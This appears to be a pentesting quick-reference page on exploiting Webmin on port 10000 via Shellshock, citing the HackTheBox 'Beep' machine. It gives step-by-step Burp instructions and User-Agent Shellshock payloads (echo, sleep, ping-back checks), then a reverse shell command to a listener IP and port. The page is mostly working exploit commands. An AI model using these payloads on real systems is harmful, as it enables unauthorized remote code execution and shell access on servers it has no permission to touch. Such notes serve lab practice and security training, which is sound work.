> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/port-10000-webmin.md).

# Port 10000 Webmin

Webmin uses CGI Files and is vulnerable to shellshock eg:- beep on HTB.

From Webmin login panel, initiate a login request and intercept it in burp. Forward it to the repeater.

Now change the user agent to shell shock and try following payloads.

```
() { :; };/bin/echo heloo
() { :; }; sleep 10   (did work some kind of blind shell shock)
```

Now check ping

```
() { :; };ping -c 1 10.10.14.108
on our machine
sudo tcpdump -i tun0 -v
```

And we get the ping. So lets try reverse shell.

```
sh -i >& /dev/tcp/10.10.14.108/9001 0>&1
```